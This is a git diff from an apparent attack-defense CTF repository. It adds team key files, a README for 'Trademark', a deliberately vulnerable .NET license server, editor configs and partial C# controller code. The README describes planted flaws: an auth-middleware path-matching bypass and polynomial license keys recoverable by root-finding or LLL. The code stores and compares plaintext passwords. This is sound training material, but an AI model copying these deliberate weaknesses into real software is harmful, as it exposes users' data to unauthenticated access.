b/services/service3/src/team_2_key new file mode 100644 index 0000000..13e8b1f --- /dev/null +++ b/services/service3/src/team_2_key @@ -0,0 +1 @@ +Z /Lb<}E/RdHwE\ diff --git a/services/service3/src/team_3_key b/services/service3/src/team_3_key new file mode 100644 index 0000000..ab2ede9 Binary files /dev/null and b/services/service3/src/team_3_key differ diff --git a/services/service3/src/team_4_key b/services/service3/src/team_4_key new file mode 100644 index 0000000..a96b01d --- /dev/null +++ b/services/service3/src/team_4_key @@ -0,0 +1 @@ +ф(WXYuIF H够!#c \ No newline at end of file diff --git a/services/service3/src/team_5_key b/services/service3/src/team_5_key new file mode 100644 index 0000000..759ed60 --- /dev/null +++ b/services/service3/src/team_5_key @@ -0,0 +1 @@ +/G|{~_bigمɴ \ No newline at end of file diff --git a/services/service3/src/team_6_key b/services/service3/src/team_6_key new file mode 100644 index 0000000..c35d1ec Binary files /dev/null and b/services/service3/src/team_6_key differ diff --git a/services/service3/src/team_7_key b/services/service3/src/team_7_key new file mode 100644 index 0000000..aa355bd --- /dev/null +++ b/services/service3/src/team_7_key @@ -0,0 +1 @@ +|^ԕ$ۗ~"ܛLU 15>}L \ No newline at end of file diff --git a/services/service4/README.md b/services/service4/README.md new file mode 100644 index 0000000..4e88341 --- /dev/null +++ b/services/service4/README.md @@ -0,0 +1,44 @@ +# Trademark + +| Service 4 | Trademark | +| :------------ | :------------------------------- | +| Author(s) | @TheNodi @mr-96 | +| Store(s) | 1 | +| Category(ies) | windows / misc / crypto | +| Port(s) | 5000 | +| FlagId(s) | Product Id | +| Checker(s) | [store1](/checkers/7/checker.py) | + +![](../../img/trademark.png) + +## Description + +Trademark is a .NET License Server. + +Users can create products with a secret content and generate a number of license keys. +Keys can be used to download the content of the products. +Flags are stored as "private" product content in a SQLite file. + +## Vulnerabilities + +### Auth Bypass + +Auth Middleware is checking for `/api/login` or `/api/register` to skip user verification. +Strings are matched against the entirety of the request path and query, not just query. +Unauthenticated users can download license files directly. + +### License generation + +The license keys are zeros of a (public) polynomial. There are a few problems in the licenses generation: +- Since the polynomial generation starts from [0,1], 0 is always a root, and so the licence representing 0 (that is `AAAAAAA-AAAAAAA-AAAAAAA-AAAAAAA`) always passes, even if it's not listed. +- The polynomial is taken modulo a prime number, so it is easy to find all the roots just knowing the coefficients, and so recover all the licenses. +- The roots representing the licenses are a lot smaller than the modulus (and also the degree of the polynomial is low), letting small roots recovery via LLL feasible. + +## Exploits + +| service | store | exploit | +| :-------- | :---: | :----------------------------------------------------------------------------------------- | +| Trademark | 1 | [service4-store1-vuln1-auth-bypass.py](/exploits/service4-store1-vuln1-auth-bypass.py) | +| Trademark | 1 | [service4-store1-vuln2-roots.sage](/exploits/service4-store1-vuln2-roots.sage) | +| Trademark | 1 | [service4-store1-vuln3-small-roots.sage](/exploits/service4-store1-vuln3-small-roots.sage) | +| Trademark | 1 | [service4-store1-vuln4-zero-poly.py](/exploits/service4-store1-vuln4-zero-poly.py) | diff --git a/services/service4/service/.dockerignore b/services/service4/service/.dockerignore new file mode 100644 index 0000000..a437a65 --- /dev/null +++ b/services/service4/service/.dockerignore @@ -0,0 +1,37 @@ +*.swp +*.*~ +project.lock.json +.DS_Store +*.pyc +nupkg/ + +# Visual Studio Code +.vscode + +# Rider +.idea + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +build/ +bld/ +[Bb]in/ +[Oo]bj/ +[Oo]ut/ +msbuild.log +msbuild.err +msbuild.wrn + +# Visual Studio 2015 +.vs/ diff --git a/services/service4/service/.editorconfig b/services/service4/service/.editorconfig new file mode 100644 index 0000000..1dce52f --- /dev/null +++ b/services/service4/service/.editorconfig @@ -0,0 +1,505 @@ +[*] +charset = utf-8 +end_of_line = lf +indent_size = 4 +indent_style = space +insert_final_newline = true +max_line_length = 180 +tab_width = 4 +trim_trailing_whitespace = false +ij_continuation_indent_size = 8 +ij_formatter_off_tag = @formatter:off +ij_formatter_on_tag = @formatter:on +ij_formatter_tags_enabled = false +ij_smart_tabs = false +ij_visual_guides = none +ij_wrap_on_typing = false + +[*.css] +ij_css_align_closing_brace_with_properties = false +ij_css_blank_lines_around_nested_selector = 1 +ij_css_blank_lines_between_blocks = 1 +ij_css_block_comment_add_space = false +ij_css_brace_placement = end_of_line +ij_css_enforce_quotes_on_format = false +ij_css_hex_color_long_format = false +ij_css_hex_color_lower_case = false +ij_css_hex_color_short_format = false +ij_css_hex_color_upper_case = false +ij_css_keep_blank_lines_in_code = 2 +ij_css_keep_indents_on_empty_lines = false +ij_css_keep_single_line_blocks = false +ij_css_properties_order = font,font-family,font-size,font-weight,font-style,font-variant,font-size-adjust,font-stretch,line-height,position,z-index,top,right,bottom,left,display,visibility,float,clear,overflow,overflow-x,overflow-y,clip,zoom,align-content,align-items,align-self,flex,flex-flow,flex-basis,flex-direction,flex-grow,flex-shrink,flex-wrap,justify-content,order,box-sizing,width,min-width,max-width,height,min-height,max-height,margin,margin-top,margin-right,margin-bottom,margin-left,padding,padding-top,padding-right,padding-bottom,padding-left,table-layout,empty-cells,caption-side,border-spacing,border-collapse,list-style,list-style-position,list-style-type,list-style-image,content,quotes,counter-reset,counter-increment,resize,cursor,user-select,nav-index,nav-up,nav-right,nav-down,nav-left,transition,transition-delay,transition-timing-function,transition-duration,transition-property,transform,transform-origin,animation,animation-name,animation-duration,animation-play-state,animation-timing-function,animation-delay,animation-iteration-count,animation-direction,text-align,text-align-last,vertical-align,white-space,text-decoration,text-emphasis,text-emphasis-color,text-emphasis-style,text-emphasis-position,text-indent,text-justify,letter-spacing,word-spacing,text-outline,text-transform,text-wrap,text-overflow,text-overflow-ellipsis,text-overflow-mode,word-wrap,word-break,tab-size,hyphens,pointer-events,opacity,color,border,border-width,border-style,border-color,border-top,border-top-width,border-top-style,border-top-color,border-right,border-right-width,border-right-style,border-right-color,border-bottom,border-bottom-width,border-bottom-style,border-bottom-color,border-left,border-left-width,border-left-style,border-left-color,border-radius,border-top-left-radius,border-top-right-radius,border-bottom-right-radius,border-bottom-left-radius,border-image,border-image-source,border-image-slice,border-image-width,border-image-outset,border-image-repeat,outline,outline-width,outline-style,outline-color,outline-offset,background,background-color,background-image,background-repeat,background-attachment,background-position,background-position-x,background-position-y,background-clip,background-origin,background-size,box-decoration-break,box-shadow,text-shadow +ij_css_space_after_colon = true +ij_css_space_before_opening_brace = true +ij_css_use_double_quotes = true +ij_css_value_alignment = do_not_align + +[*.scss] +indent_size = 2 +ij_scss_align_closing_brace_with_properties = false +ij_scss_blank_lines_around_nested_selector = 1 +ij_scss_blank_lines_between_blocks = 1 +ij_scss_block_comment_add_space = false +ij_scss_brace_placement = 0 +ij_scss_enforce_quotes_on_format = false +ij_scss_hex_color_long_format = false +ij_scss_hex_color_lower_case = false +ij_scss_hex_color_short_format = false +ij_scss_hex_color_upper_case = false +ij_scss_keep_blank_lines_in_code = 2 +ij_scss_keep_indents_on_empty_lines = false +ij_scss_keep_single_line_blocks = false +ij_scss_line_comment_add_space = false +ij_scss_line_comment_at_first_column = false +ij_scss_properties_order = font,font-family,font-size,font-weight,font-style,font-variant,font-size-adjust,font-stretch,line-height,position,z-index,top,right,bottom,left,display,visibility,float,clear,overflow,overflow-x,overflow-y,clip,zoom,align-content,align-items,align-self,flex,flex-flow,flex-basis,flex-direction,flex-grow,flex-shrink,flex-wrap,justify-content,order,box-sizing,width,min-width,max-width,height,min-height,max-height,margin,margin-top,margin-right,margin-bottom,margin-left,padding,padding-top,padding-right,padding-bottom,padding-left,table-layout,empty-cells,caption-side,border-spacing,border-collapse,list-style,list-style-position,list-style-type,list-style-image,content,quotes,counter-reset,counter-increment,resize,cursor,user-select,nav-index,nav-up,nav-right,nav-down,nav-left,transition,transition-delay,transition-timing-function,transition-duration,transition-property,transform,transform-origin,animation,animation-name,animation-duration,animation-play-state,animation-timing-function,animation-delay,animation-iteration-count,animation-direction,text-align,text-align-last,vertical-align,white-space,text-decoration,text-emphasis,text-emphasis-color,text-emphasis-style,text-emphasis-position,text-indent,text-justify,letter-spacing,word-spacing,text-outline,text-transform,text-wrap,text-overflow,text-overflow-ellipsis,text-overflow-mode,word-wrap,word-break,tab-size,hyphens,pointer-events,opacity,color,border,border-width,border-style,border-color,border-top,border-top-width,border-top-style,border-top-color,border-right,border-right-width,border-right-style,border-right-color,border-bottom,border-bottom-width,border-bottom-style,border-bottom-color,border-left,border-left-width,border-left-style,border-left-color,border-radius,border-top-left-radius,border-top-right-radius,border-bottom-right-radius,border-bottom-left-radius,border-image,border-image-source,border-image-slice,border-image-width,border-image-outset,border-image-repeat,outline,outline-width,outline-style,outline-color,outline-offset,background,background-color,background-image,background-repeat,background-attachment,background-position,background-position-x,background-position-y,background-clip,background-origin,background-size,box-decoration-break,box-shadow,text-shadow +ij_scss_space_after_colon = true +ij_scss_space_before_opening_brace = true +ij_scss_use_double_quotes = true +ij_scss_value_alignment = 0 + +[.editorconfig] +ij_editorconfig_align_group_field_declarations = false +ij_editorconfig_space_after_colon = false +ij_editorconfig_space_after_comma = true +ij_editorconfig_space_before_colon = false +ij_editorconfig_space_before_comma = false +ij_editorconfig_spaces_around_assignment_operators = true + +[{*.ant,*.appxmanifest,*.axml,*.cscfg,*.csdef,*.disco,*.filelayout,*.fxml,*.jhm,*.jnlp,*.jrxml,*.manifest,*.myapp,*.nuspec,*.rng,*.stylecop,*.svcmap,*.tld,*.tps,*.wadcfgx,*.webref,*.wsdl,*.xml,*.xsd,*.xsl,*.xslt,*.xul,StyleCop.Cache}] +ij_xml_align_attributes = true +ij_xml_align_text = false +ij_xml_attribute_wrap = normal +ij_xml_block_comment_add_space = false +ij_xml_block_comment_at_first_column = true +ij_xml_keep_blank_lines = 2 +ij_xml_keep_indents_on_empty_lines = false +ij_xml_keep_line_breaks = true +ij_xml_keep_line_breaks_in_text = true +ij_xml_keep_whitespaces = false +ij_xml_keep_whitespaces_around_cdata = preserve +ij_xml_keep_whitespaces_inside_cdata = false +ij_xml_line_comment_at_first_column = true +ij_xml_space_after_tag_name = false +ij_xml_space_around_equals_in_attribute = false +ij_xml_space_inside_empty_tag = false +ij_xml_text_wrap = normal + +[{*.ats,*.cts,*.mts,*.ts}] +ij_continuation_indent_size = 4 +ij_typescript_align_imports = false +ij_typescript_align_multiline_array_initializer_expression = false +ij_typescript_align_multiline_binary_operation = false +ij_typescript_align_multiline_chained_methods = false +ij_typescript_align_multiline_extends_list = false +ij_typescript_align_multiline_for = true +ij_typescript_align_multiline_parameters = true +ij_typescript_align_multiline_parameters_in_calls = false +ij_typescript_align_multiline_ternary_operation = false +ij_typescript_align_object_properties = 0 +ij_typescript_align_union_types = false +ij_typescript_align_var_statements = 0 +ij_typescript_array_initializer_new_line_after_left_brace = false +ij_typescript_array_initializer_right_brace_on_new_line = false +ij_typescript_array_initializer_wrap = off +ij_typescript_assignment_wrap = off +ij_typescript_binary_operation_sign_on_next_line = false +ij_typescript_binary_operation_wrap = off +ij_typescript_blacklist_imports = rxjs/Rx,node_modules/**,**/node_modules/**,@angular/material,@angular/material/typings/** +ij_typescript_blank_lines_after_imports = 1 +ij_typescript_blank_lines_around_class = 1 +ij_typescript_blank_lines_around_field = 0 +ij_typescript_blank_lines_around_field_in_interface = 0 +ij_typescript_blank_lines_around_function = 1 +ij_typescript_blank_lines_around_method = 1 +ij_typescript_blank_lines_around_method_in_interface = 1 +ij_typescript_block_brace_style = end_of_line +ij_typescript_block_comment_add_space = false +ij_typescript_block_comment_at_first_column = true +ij_typescript_call_parameters_new_line_after_left_paren = false +ij_typescript_call_parameters_right_paren_on_new_line = false +ij_typescript_call_parameters_wrap = off +ij_typescript_catch_on_new_line = false +ij_typescript_chained_call_dot_on_new_line = true +ij_typescript_class_brace_style = end_of_line +ij_typescript_comma_on_new_line = false +ij_typescript_do_while_brace_force = never +ij_typescript_else_on_new_line = false +ij_typescript_enforce_trailing_comma = keep +ij_typescript_enum_constants_wrap = on_every_item +ij_typescript_extends_keyword_wrap = off +ij_typescript_extends_list_wrap = off +ij_typescript_field_prefix = _ +ij_typescript_file_name_style = relaxed +ij_typescript_finally_on_new_line = false +ij_typescript_for_brace_force = never +ij_typescript_for_statement_new_line_after_left_paren = false +ij_typescript_for_statement_right_paren_on_new_line = false +ij_typescript_for_statement_wrap = off +ij_typescript_force_quote_style = false +ij_typescript_force_semicolon_style = false +ij_typescript_function_expression_brace_style = end_of_line +ij_typescript_if_brace_force = never +ij_typescript_import_merge_members = global +ij_typescript_import_prefer_absolute_path = global +ij_typescript_import_sort_members = true +ij_typescript_import_sort_module_name = false +ij_typescript_import_use_node_resolution = true +ij_typescript_imports_wrap = on_every_item +ij_typescript_indent_case_from_switch = true +ij_typescript_indent_chained_calls = true +ij_typescript_indent_package_children = 0 +ij_typescript_jsdoc_include_types = false +ij_typescript_jsx_attribute_value = braces +ij_typescript_keep_blank_lines_in_code = 2 +ij_typescript_keep_first_column_comment = true +ij_typescript_keep_indents_on_empty_lines = false +ij_typescript_keep_line_breaks = true +ij_typescript_keep_simple_blocks_in_one_line = false +ij_typescript_keep_simple_methods_in_one_line = false +ij_typescript_line_comment_add_space = true +ij_typescript_line_comment_at_first_column = false +ij_typescript_method_brace_style = end_of_line +ij_typescript_method_call_chain_wrap = off +ij_typescript_method_parameters_new_line_after_left_paren = false +ij_typescript_method_parameters_right_paren_on_new_line = false +ij_typescript_method_parameters_wrap = off +ij_typescript_object_literal_wrap = on_every_item +ij_typescript_parentheses_expression_new_line_after_left_paren = false +ij_typescript_parentheses_expression_right_paren_on_new_line = false +ij_typescript_place_assignment_sign_on_next_line = false +ij_typescript_prefer_as_type_cast = false +ij_typescript_prefer_explicit_types_function_expression_returns = false +ij_typescript_prefer_explicit_types_function_returns = false +ij_typescript_prefer_explicit_types_vars_fields = false +ij_typescript_prefer_parameters_wrap = false +ij_typescript_reformat_c_style_comments = false +ij_typescript_space_after_colon = true +ij_typescript_space_after_comma = true +ij_typescript_space_after_dots_in_rest_parameter = false +ij_typescript_space_after_generator_mult = true +ij_typescript_space_after_property_colon = true +ij_typescript_space_after_quest = true +ij_typescript_space_after_type_colon = true +ij_typescript_space_after_unary_not = false +ij_typescript_space_before_async_arrow_lparen = true +ij_typescript_space_before_catch_keyword = true +ij_typescript_space_before_catch_left_brace = true +ij_typescript_space_before_catch_parentheses = true +ij_typescript_space_before_class_lbrace = true +ij_typescript_space_before_class_left_brace = true +ij_typescript_space_before_colon = true +ij_typescript_space_before_comma = false +ij_typescript_space_before_do_left_brace = true +ij_typescript_space_before_else_keyword = true +ij_typescript_space_before_else_left_brace = true +ij_typescript_space_before_finally_keyword = true +ij_typescript_space_before_finally_left_brace = true +ij_typescript_space_before_for_left_brace = true +ij_typescript_space_before_for_parentheses = true +ij_typescript_space_before_for_semicolon = false +ij_typescript_space_before_function_left_parenth = true +ij_typescript_space_before_generator_mult = false +ij_typescript_space_before_if_left_brace = true +ij_typescript_space_before_if_parentheses = true +ij_typescript_space_before_method_call_parentheses = false +ij_typescript_space_before_method_left_brace = true +ij_typescript_space_before_method_parentheses = false +ij_typescript_space_before_property_colon = false +ij_typescript_space_before_quest = true +ij_typescript_space_before_switch_left_brace = true +ij_typescript_space_before_switch_parentheses = true +ij_typescript_space_before_try_left_brace = true +ij_typescript_space_before_type_colon = false +ij_typescript_space_before_unary_not = false +ij_typescript_space_before_while_keyword = true +ij_typescript_space_before_while_left_brace = true +ij_typescript_space_before_while_parentheses = true +ij_typescript_spaces_around_additive_operators = true +ij_typescript_spaces_around_arrow_function_operator = true +ij_typescript_spaces_around_assignment_operators = true +ij_typescript_spaces_around_bitwise_operators = true +ij_typescript_spaces_around_equality_operators = true +ij_typescript_spaces_around_logical_operators = true +ij_typescript_spaces_around_multiplicative_operators = true +ij_typescript_spaces_around_relational_operators = true +ij_typescript_spaces_around_shift_operators = true +ij_typescript_spaces_around_unary_operator = false +ij_typescript_spaces_within_array_initializer_brackets = false +ij_typescript_spaces_within_brackets = false +ij_typescript_spaces_within_catch_parentheses = false +ij_typescript_spaces_within_for_parentheses = false +ij_typescript_spaces_within_if_parentheses = false +ij_typescript_spaces_within_imports = false +ij_typescript_spaces_within_interpolation_expressions = false +ij_typescript_spaces_within_method_call_parentheses = false +ij_typescript_spaces_within_method_parentheses = false +ij_typescript_spaces_within_object_literal_braces = false +ij_typescript_spaces_within_object_type_braces = true +ij_typescript_spaces_within_parentheses = false +ij_typescript_spaces_within_switch_parentheses = false +ij_typescript_spaces_within_type_assertion = false +ij_typescript_spaces_within_union_types = true +ij_typescript_spaces_within_while_parentheses = false +ij_typescript_special_else_if_treatment = true +ij_typescript_ternary_operation_signs_on_next_line = false +ij_typescript_ternary_operation_wrap = off +ij_typescript_union_types_wrap = on_every_item +ij_typescript_use_chained_calls_group_indents = false +ij_typescript_use_double_quotes = true +ij_typescript_use_explicit_js_extension = auto +ij_typescript_use_path_mapping = always +ij_typescript_use_public_modifier = false +ij_typescript_use_semicolon_after_statement = true +ij_typescript_var_declaration_wrap = normal +ij_typescript_while_brace_force = never +ij_typescript_while_on_new_line = false +ij_typescript_wrap_comments = false + +[{*.bash,*.sh,*.zsh}] +indent_size = 2 +tab_width = 2 +ij_shell_binary_ops_start_line = false +ij_shell_keep_column_alignment_padding = false +ij_shell_minify_program = false +ij_shell_redirect_followed_by_space = false +ij_shell_switch_cases_indented = false +ij_shell_use_unix_line_separator = true + +[{*.cjs,*.js}] +ij_continuation_indent_size = 4 +ij_javascript_align_imports = false +ij_javascript_align_multiline_array_initializer_expression = false +ij_javascript_align_multiline_binary_operation = false +ij_javascript_align_multiline_chained_methods = false +ij_javascript_align_multiline_extends_list = false +ij_javascript_align_multiline_for = true +ij_javascript_align_multiline_parameters = true +ij_javascript_align_multiline_parameters_in_calls = false +ij_javascript_align_multiline_ternary_operation = false +ij_javascript_align_object_properties = 0 +ij_javascript_align_union_types = false +ij_javascript_align_var_statements = 0 +ij_javascript_array_initializer_new_line_after_left_brace = false +ij_javascript_array_initializer_right_brace_on_new_line = false +ij_javascript_array_initializer_wrap = off +ij_javascript_assignment_wrap = off +ij_javascript_binary_operation_sign_on_next_line = false +ij_javascript_binary_operation_wrap = off +ij_javascript_blacklist_imports = rxjs/Rx,node_modules/**,**/node_modules/**,@angular/material,@angular/material/typings/** +ij_javascript_blank_lines_after_imports = 1 +ij_javascript_blank_lines_around_class = 1 +ij_javascript_blank_lines_around_field = 0 +ij_javascript_blank_lines_around_function = 1 +ij_javascript_blank_lines_around_method = 1 +ij_javascript_block_brace_style = end_of_line +ij_javascript_block_comment_add_space = false +ij_javascript_block_comment_at_first_column = true +ij_javascript_call_parameters_new_line_after_left_paren = false +ij_javascript_call_parameters_right_paren_on_new_line = false +ij_javascript_call_parameters_wrap = off +ij_javascript_catch_on_new_line = false +ij_javascript_chained_call_dot_on_new_line = true +ij_javascript_class_brace_style = end_of_line +ij_javascript_comma_on_new_line = false +ij_javascript_do_while_brace_force = never +ij_javascript_else_on_new_line = false +ij_javascript_enforce_trailing_comma = keep +ij_javascript_extends_keyword_wrap = off +ij_javascript_extends_list_wrap = off +ij_javascript_field_prefix = _ +ij_javascript_file_name_style = relaxed +ij_javascript_finally_on_new_line = false +ij_javascript_for_brace_force = never +ij_javascript_for_statement_new_line_after_left_paren = false +ij_javascript_for_statement_right_paren_on_new_line = false +ij_javascript_for_statement_wrap = off +ij_javascript_force_quote_style = false +ij_javascript_force_semicolon_style = false +ij_javascript_function_expression_brace_style = end_of_line +ij_javascript_if_brace_force = never +ij_javascript_import_merge_members = global +ij_javascript_import_prefer_absolute_path = global +ij_javascript_import_sort_members = true +ij_javascript_import_sort_module_name = false +ij_javascript_import_use_node_resolution = true +ij_javascript_imports_wrap = on_every_item +ij_javascript_indent_case_from_switch = true +ij_javascript_indent_chained_calls = true +ij_javascript_indent_package_children = 0 +ij_javascript_jsx_attribute_value = braces +ij_javascript_keep_blank_lines_in_code = 2 +ij_javascript_keep_first_column_comment = true +ij_javascript_keep_indents_on_empty_lines = false +ij_javascript_keep_line_breaks = true +ij_javascript_keep_simple_blocks_in_one_line = false +ij_javascript_keep_simple_methods_in_one_line = false +ij_javascript_line_comment_add_space = true +ij_javascript_line_comment_at_first_column = false +ij_javascript_method_brace_style = end_of_line +ij_javascript_method_call_chain_wrap = off +ij_javascript_method_parameters_new_line_after_left_paren = false +ij_javascript_method_parameters_right_paren_on_new_line = false +ij_javascript_method_parameters_wrap = off +ij_javascript_object_literal_wrap = on_every_item +ij_javascript_parentheses_expression_new_line_after_left_paren = false +ij_javascript_parentheses_expression_right_paren_on_new_line = false +ij_javascript_place_assignment_sign_on_next_line = false +ij_javascript_prefer_as_type_cast = false +ij_javascript_prefer_explicit_types_function_expression_returns = false +ij_javascript_prefer_explicit_types_function_returns = false +ij_javascript_prefer_explicit_types_vars_fields = false +ij_javascript_prefer_parameters_wrap = false +ij_javascript_reformat_c_style_comments = false +ij_javascript_space_after_colon = true +ij_javascript_space_after_comma = true +ij_javascript_space_after_dots_in_rest_parameter = false +ij_javascript_space_after_generator_mult = true +ij_javascript_space_after_property_colon = true +ij_javascript_space_after_quest = true +ij_javascript_space_after_type_colon = true +ij_javascript_space_after_unary_not = false +ij_javascript_space_before_async_arrow_lparen = true +ij_javascript_space_before_catch_keyword = true +ij_javascript_space_before_catch_left_brace = true +ij_javascript_space_before_catch_parentheses = true +ij_javascript_space_before_class_lbrace = true +ij_javascript_space_before_class_left_brace = true +ij_javascript_space_before_colon = true +ij_javascript_space_before_comma = false +ij_javascript_space_before_do_left_brace = true +ij_javascript_space_before_else_keyword = true +ij_javascript_space_before_else_left_brace = true +ij_javascript_space_before_finally_keyword = true +ij_javascript_space_before_finally_left_brace = true +ij_javascript_space_before_for_left_brace = true +ij_javascript_space_before_for_parentheses = true +ij_javascript_space_before_for_semicolon = false +ij_javascript_space_before_function_left_parenth = true +ij_javascript_space_before_generator_mult = false +ij_javascript_space_before_if_left_brace = true +ij_javascript_space_before_if_parentheses = true +ij_javascript_space_before_method_call_parentheses = false +ij_javascript_space_before_method_left_brace = true +ij_javascript_space_before_method_parentheses = false +ij_javascript_space_before_property_colon = false +ij_javascript_space_before_quest = true +ij_javascript_space_before_switch_left_brace = true +ij_javascript_space_before_switch_parentheses = true +ij_javascript_space_before_try_left_brace = true +ij_javascript_space_before_type_colon = false +ij_javascript_space_before_unary_not = false +ij_javascript_space_before_while_keyword = true +ij_javascript_space_before_while_left_brace = true +ij_javascript_space_before_while_parentheses = true +ij_javascript_spaces_around_additive_operators = true +ij_javascript_spaces_around_arrow_function_operator = true +ij_javascript_spaces_around_assignment_operators = true +ij_javascript_spaces_around_bitwise_operators = true +ij_javascript_spaces_around_equality_operators = true +ij_javascript_spaces_around_logical_operators = true +ij_javascript_spaces_around_multiplicative_operators = true +ij_javascript_spaces_around_relational_operators = true +ij_javascript_spaces_around_shift_operators = true +ij_javascript_spaces_around_unary_operator = false +ij_javascript_spaces_within_array_initializer_brackets = false +ij_javascript_spaces_within_brackets = false +ij_javascript_spaces_within_catch_parentheses = false +ij_javascript_spaces_within_for_parentheses = false +ij_javascript_spaces_within_if_parentheses = false +ij_javascript_spaces_within_imports = false +ij_javascript_spaces_within_interpolation_expressions = false +ij_javascript_spaces_within_method_call_parentheses = false +ij_javascript_spaces_within_method_parentheses = false +ij_javascript_spaces_within_object_literal_braces = false +ij_javascript_spaces_within_object_type_braces = true +ij_javascript_spaces_within_parentheses = false +ij_javascript_spaces_within_switch_parentheses = false +ij_javascript_spaces_within_type_assertion = false +ij_javascript_spaces_within_union_types = true +ij_javascript_spaces_within_while_parentheses = false +ij_javascript_special_else_if_treatment = true +ij_javascript_ternary_operation_signs_on_next_line = false +ij_javascript_ternary_operation_wrap = off +ij_javascript_union_types_wrap = on_every_item +ij_javascript_use_chained_calls_group_indents = false +ij_javascript_use_double_quotes = true +ij_javascript_use_explicit_js_extension = auto +ij_javascript_use_path_mapping = always +ij_javascript_use_public_modifier = false +ij_javascript_use_semicolon_after_statement = true +ij_javascript_var_declaration_wrap = normal +ij_javascript_while_brace_force = never +ij_javascript_while_on_new_line = false +ij_javascript_wrap_comments = false + +[{*.har,*.inputactions,*.jsb2,*.jsb3,*.json,.babelrc,.eslintrc,.stylelintrc,bowerrc,jest.config}] +indent_size = 2 +ij_json_keep_blank_lines_in_code = 0 +ij_json_keep_indents_on_empty_lines = false +ij_json_keep_line_breaks = true +ij_json_space_after_colon = true +ij_json_space_after_comma = true +ij_json_space_before_colon = true +ij_json_space_before_comma = false +ij_json_spaces_within_braces = false +ij_json_spaces_within_brackets = false +ij_json_wrap_long_lines = false + +[{*.htm,*.html,*.ng,*.sht,*.shtm,*.shtml}] +ij_html_add_new_line_before_tags = body,div,p,form,h1,h2,h3 +ij_html_align_attributes = true +ij_html_align_text = false +ij_html_attribute_wrap = normal +ij_html_block_comment_add_space = false +ij_html_block_comment_at_first_column = true +ij_html_do_not_align_children_of_min_lines = 0 +ij_html_do_not_break_if_inline_tags = title,h1,h2,h3,h4,h5,h6,p +ij_html_do_not_indent_children_of_tags = html,body,thead,tbody,tfoot +ij_html_enforce_quotes = false +ij_html_inline_tags = a,abbr,acronym,b,basefont,bdo,big,br,cite,cite,code,dfn,em,font,i,img,input,kbd,label,q,s,samp,select,small,span,strike,strong,sub,sup,textarea,tt,u,var +ij_html_keep_blank_lines = 2 +ij_html_keep_indents_on_empty_lines = false +ij_html_keep_line_breaks = true +ij_html_keep_line_breaks_in_text = true +ij_html_keep_whitespaces = false +ij_html_keep_whitespaces_inside = span,pre,textarea +ij_html_line_comment_at_first_column = true +ij_html_new_line_after_last_attribute = never +ij_html_new_line_before_first_attribute = never +ij_html_quote_style = double +ij_html_remove_new_line_before_tags = br +ij_html_space_after_tag_name = false +ij_html_space_around_equality_in_attribute = false +ij_html_space_inside_empty_tag = false +ij_html_text_wrap = normal + +[{*.markdown,*.md}] +ij_markdown_force_one_space_after_blockquote_symbol = true +ij_markdown_force_one_space_after_header_symbol = true +ij_markdown_force_one_space_after_list_bullet = true +ij_markdown_force_one_space_between_words = true +ij_markdown_insert_quote_arrows_on_wrap = true +ij_markdown_keep_indents_on_empty_lines = false +ij_markdown_keep_line_breaks_inside_text_blocks = true +ij_markdown_max_lines_around_block_elements = 1 +ij_markdown_max_lines_around_header = 1 +ij_markdown_max_lines_between_paragraphs = 1 +ij_markdown_min_lines_around_block_elements = 1 +ij_markdown_min_lines_around_header = 1 +ij_markdown_min_lines_between_paragraphs = 1 +ij_markdown_wrap_text_if_long = true +ij_markdown_wrap_text_inside_blockquotes = true + +[{*.yaml,*.yml}] +indent_size = 2 +ij_yaml_align_values_properties = do_not_align +ij_yaml_autoinsert_sequence_marker = true +ij_yaml_block_mapping_on_new_line = false +ij_yaml_indent_sequence_value = true +ij_yaml_keep_indents_on_empty_lines = false +ij_yaml_keep_line_breaks = true +ij_yaml_sequence_on_new_line = false +ij_yaml_space_before_colon = false +ij_yaml_spaces_within_braces = true +ij_yaml_spaces_within_brackets = true diff --git a/services/service4/service/.gitignore b/services/service4/service/.gitignore new file mode 100644 index 0000000..a437a65 --- /dev/null +++ b/services/service4/service/.gitignore @@ -0,0 +1,37 @@ +*.swp +*.*~ +project.lock.json +.DS_Store +*.pyc +nupkg/ + +# Visual Studio Code +.vscode + +# Rider +.idea + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +build/ +bld/ +[Bb]in/ +[Oo]bj/ +[Oo]ut/ +msbuild.log +msbuild.err +msbuild.wrn + +# Visual Studio 2015 +.vs/ diff --git a/services/service4/service/ApplicationDbContext.cs b/services/service4/service/ApplicationDbContext.cs new file mode 100644 index 0000000..7c0716a --- /dev/null +++ b/services/service4/service/ApplicationDbContext.cs @@ -0,0 +1,26 @@ +using System.Numerics; +using Microsoft.EntityFrameworkCore; +using service.Models; + +namespace service; + +public class ApplicationDbContext : DbContext +{ + public DbSet Users { get; set; } = null!; + public DbSet Products { get; set; } = null!; + + protected override void OnConfiguring(DbContextOptionsBuilder options) => + options.UseLazyLoadingProxies() + .UseSqlite($"Data Source=data/data.db"); + + protected override void ConfigureConventions(ModelConfigurationBuilder builder) + { + builder + .Properties() + .HaveConversion(); + + builder + .Properties() + .HaveConversion(); + } +} diff --git a/services/service4/service/Controllers/AuthController.cs b/services/service4/service/Controllers/AuthController.cs new file mode 100644 index 0000000..e0a5afa --- /dev/null +++ b/services/service4/service/Controllers/AuthController.cs @@ -0,0 +1,80 @@ +using System; +using System.Threading.Tasks; +using Microsoft.AspNetCore.Http; +using Microsoft.AspNetCore.Mvc; +using Microsoft.EntityFrameworkCore; +using service.Models; +using service.Services; + +namespace service.Controllers; + +[ApiController] +[Route("api")] +public class AuthController : BaseController +{ + private readonly HMacSigner _signer; + + public AuthController(ApplicationDbContext db, HMacSigner signer) : base(db) + { + _signer = signer; + } + + [HttpPost] + [Route("login")] + public async Task Login() + { + var username = Request.Form["username"].ToString(); + var password = Request.Form["password"].ToString(); + + if (username == "" || password == "" || username.Length > 255 || password.Length > 255) + { + return UnprocessableEntity("Invalid Input"); + } + + var user = await Database.Users.SingleOrDefaultAsync(u => u.Username == username && u.Password == password); + if (user == null) + { + return NotFound(); + } + + return Ok(new + { + user_id = user.Id, + session = _signer.Sign(user.Id + user.Username), + }); + } + + [HttpPost] + [Route("register")] + public async Task Register() + { + var username = Request.Form["username"].ToString(); + var password = Request.Form["password"].ToString(); + + if (username == "" || password == "" || username.Length > 255 || password.Length > 255) + { + return 